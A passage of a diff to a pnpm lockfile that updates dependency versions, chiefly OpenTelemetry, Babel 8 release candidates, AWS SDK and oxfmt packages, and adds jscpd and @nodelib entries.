'@smithy/types': 4.13.0 + bowser: 2.14.1 + tslib: 2.8.1 + '@aws-sdk/util-user-agent-node@3.973.0': dependencies: '@aws-sdk/middleware-user-agent': 3.972.15 @@ -6744,6 +7550,20 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/util-user-agent-node@3.973.4': + dependencies: + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/types': 3.973.5 + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + + '@aws-sdk/xml-builder@3.972.10': + dependencies: + '@smithy/types': 4.13.0 + fast-xml-parser: 5.3.8 + tslib: 2.8.1 + '@aws-sdk/xml-builder@3.972.8': dependencies: '@smithy/types': 4.13.0 @@ -6780,10 +7600,10 @@ snapshots: jsonwebtoken: 9.0.3 uuid: 8.3.2 - '@babel/generator@8.0.0-rc.1': + '@babel/generator@8.0.0-rc.2': dependencies: - '@babel/parser': 8.0.0-rc.1 - '@babel/types': 8.0.0-rc.1 + '@babel/parser': 8.0.0-rc.2 + '@babel/types': 8.0.0-rc.2 '@jridgewell/gen-mapping': 0.3.13 '@jridgewell/trace-mapping': 0.3.31 '@types/jsesc': 2.5.1 @@ -6795,15 +7615,15 @@ snapshots: '@babel/helper-validator-identifier@7.28.5': {} - '@babel/helper-validator-identifier@8.0.0-rc.1': {} + '@babel/helper-validator-identifier@8.0.0-rc.2': {} '@babel/parser@7.29.0': dependencies: '@babel/types': 7.29.0 - '@babel/parser@8.0.0-rc.1': + '@babel/parser@8.0.0-rc.2': dependencies: - '@babel/types': 8.0.0-rc.1 + '@babel/types': 8.0.0-rc.2 '@babel/runtime@7.28.6': {} @@ -6812,10 +7632,10 @@ snapshots: '@babel/helper-string-parser': 7.27.1 '@babel/helper-validator-identifier': 7.28.5 - '@babel/types@8.0.0-rc.1': + '@babel/types@8.0.0-rc.2': dependencies: '@babel/helper-string-parser': 8.0.0-rc.2 - '@babel/helper-validator-identifier': 8.0.0-rc.1 + '@babel/helper-validator-identifier': 8.0.0-rc.2 '@bcoe/v8-coverage@1.0.2': {} @@ -6823,7 +7643,7 @@ snapshots: '@buape/carbon@0.0.0-beta-20260216184201(@discordjs/opus@0.10.0)(hono@4.12.5)(opusscript@0.1.1)': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 discord-api-types: 0.38.37 optionalDependencies: '@cloudflare/workers-types': 4.20260120.0 @@ -6864,15 +7684,27 @@ snapshots: picocolors: 1.1.1 sisteransi: 1.0.5 + '@clack/core@1.1.0': + dependencies: + sisteransi: 1.0.5 + '@clack/prompts@1.0.1': dependencies: '@clack/core': 1.0.1 picocolors: 1.1.1 sisteransi: 1.0.5 + '@clack/prompts@1.1.0': + dependencies: + '@clack/core': 1.1.0 + sisteransi: 1.0.5 + '@cloudflare/workers-types@4.20260120.0': optional: true + '@colors/colors@1.5.0': + optional: true + '@cypress/request-promise@5.0.0(@cypress/request@3.0.10)(@cypress/request@3.0.10)': dependencies: '@cypress/request': 3.0.10 @@ -6980,7 +7812,7 @@ snapshots: '@discordjs/voice@0.19.0(@discordjs/opus@0.10.0)(opusscript@0.1.1)': dependencies: '@types/ws': 8.18.1 - discord-api-types: 0.38.40 + discord-api-types: 0.38.41 prism-media: 1.3.5(@discordjs/opus@0.10.0)(opusscript@0.1.1) tslib: 2.8.1 ws: 8.19.0 @@ -7105,11 +7937,21 @@ snapshots: abort-controller: 3.0.0 grammy: 1.41.0 + '@grammyjs/runner@2.0.3(grammy@1.41.1)': + dependencies: + abort-controller: 3.0.0 + grammy: 1.41.1 + '@grammyjs/transformer-throttler@1.2.1(grammy@1.41.0)': dependencies: bottleneck: 2.19.5 grammy: 1.41.0 + '@grammyjs/transformer-throttler@1.2.1(grammy@1.41.1)': + dependencies: + bottleneck: 2.19.5 + grammy: 1.41.1 + '@grammyjs/types@3.25.0': {} '@grpc/grpc-js@1.14.3': @@ -7271,6 +8113,41 @@ snapshots: '@js-sdsl/ordered-map@4.4.2': {} + '@jscpd/badge-reporter@4.0.4': + dependencies: + badgen: 3.2.3 + colors: 1.4.0 + fs-extra: 11.3.3 + + '@jscpd/core@4.0.4': + dependencies: + eventemitter3: 5.0.4 + + '@jscpd/finder@4.0.4': + dependencies: + '@jscpd/core': 4.0.4 + '@jscpd/tokenizer': 4.0.4 + blamer: 1.0.7 + bytes: 3.1.2 + cli-table3: 0.6.5 + colors: 1.4.0 + fast-glob: 3.3.3 + fs-extra: 11.3.3 + markdown-table: 2.0.0 + pug: 3.0.3 + + '@jscpd/html-reporter@4.0.4': + dependencies: + colors: 1.4.0 + fs-extra: 11.3.3 + pug: 3.0.3 + + '@jscpd/tokenizer@4.0.4': + dependencies: + '@jscpd/core': 4.0.4 + reprism: 0.0.11 + spark-md5: 3.0.2 + '@keyv/bigmap@1.3.1(keyv@5.6.0)': dependencies: hashery: 1.5.0 @@ -7648,6 +8525,18 @@ snapshots: '@node-llama-cpp/win-x64@3.16.2': optional: true + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + '@nolyfill/domexception@1.0.28': {} '@octokit/app@16.1.2': @@ -7798,374 +8687,375 @@ snapshots: '@octokit/request-error': 7.1.0 '@octokit/webhooks-methods': 6.0.0 - '@opentelemetry/api-logs@0.212.0': + '@opentelemetry/api-logs@0.213.0': dependencies: '@opentelemetry/api': 1.9.0 '@opentelemetry/api@1.9.0': {} - '@opentelemetry/configuration@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/configuration@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) yaml: 2.8.2 - '@opentelemetry/context-async-hooks@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/context-async-hooks@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/core@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/exporter-logs-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-prometheus@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-prometheus@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/exporter-trace-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-trace-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-zipkin@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-zipkin@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/instrumentation@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/instrumentation@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - import-in-the-middle: 2.0.6 + '@opentelemetry/api-logs': 0.213.0 + import-in-the-middle: 3.0.0 require-in-the-middle: 8.0.1 transitivePeerDependencies: - supports-color - '@opentelemetry/otlp-exporter-base@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-exporter-base@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-grpc-exporter-base@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/otlp-transformer@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) - protobufjs: 8.0.0 + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) + protobufjs: 7.5.4 - '@opentelemetry/propagator-b3@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/propagator-b3@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-jaeger@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/propagator-jaeger@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/resources@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-logs@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-logs@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-metrics@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-metrics@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-node@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-node@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/configuration': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/context-async-hooks': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-prometheus': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-grpc': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-trace-otlp-proto': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-zipkin': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/instrumentation': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-b3': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/propagator-jaeger': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-node': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/configuration': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/context-async-hooks': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-logs-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-prometheus': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-grpc': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-trace-otlp-proto': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-zipkin': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/instrumentation': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/propagator-b3': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/propagator-jaeger': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-node': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 transitivePeerDependencies: - supports-color - '@opentelemetry/sdk-trace-base@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-trace-base@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/sdk-trace-node@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/sdk-trace-node@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/context-async-hooks': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/context-async-hooks': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions@1.40.0': {} - '@oxc-project/types@0.114.0': {} + '@oxc-project/types@0.115.0': {} - '@oxfmt/binding-android-arm-eabi@0.35.0': + '@oxfmt/binding-android-arm-eabi@0.36.0': optional: true - '@oxfmt/binding-android-arm64@0.35.0': + '@oxfmt/binding-android-arm64@0.36.0': optional: true - '@oxfmt/binding-darwin-arm64@0.35.0': + '@oxfmt/binding-darwin-arm64@0.36.0': optional: true - '@oxfmt/binding-darwin-x64@0.35.0': + '@oxfmt/binding-darwin-x64@0.36.0': optional: true - '@oxfmt/binding-freebsd-x64@0.35.0': + '@oxfmt/binding-freebsd-x64@0.36.0': optional: true - '@oxfmt/binding-linux-arm-gnueabihf@0.35.0': + '@oxfmt/binding-linux-arm-gnueabihf@0.36.0': optional: true - '@oxfmt/binding-linux-arm-musleabihf@0.35.0': + '@oxfmt/binding-linux-arm-musleabihf@0.36.0': optional: true - '@oxfmt/binding-linux-arm64-gnu@0.35.0': + '@oxfmt/binding-linux-arm64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-arm64-musl@0.35.0': + '@oxfmt/binding-linux-arm64-musl@0.36.0': optional: true - '@oxfmt/binding-linux-ppc64-gnu@0.35.0': + '@oxfmt/binding-linux-ppc64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-riscv64-gnu@0.35.0': + 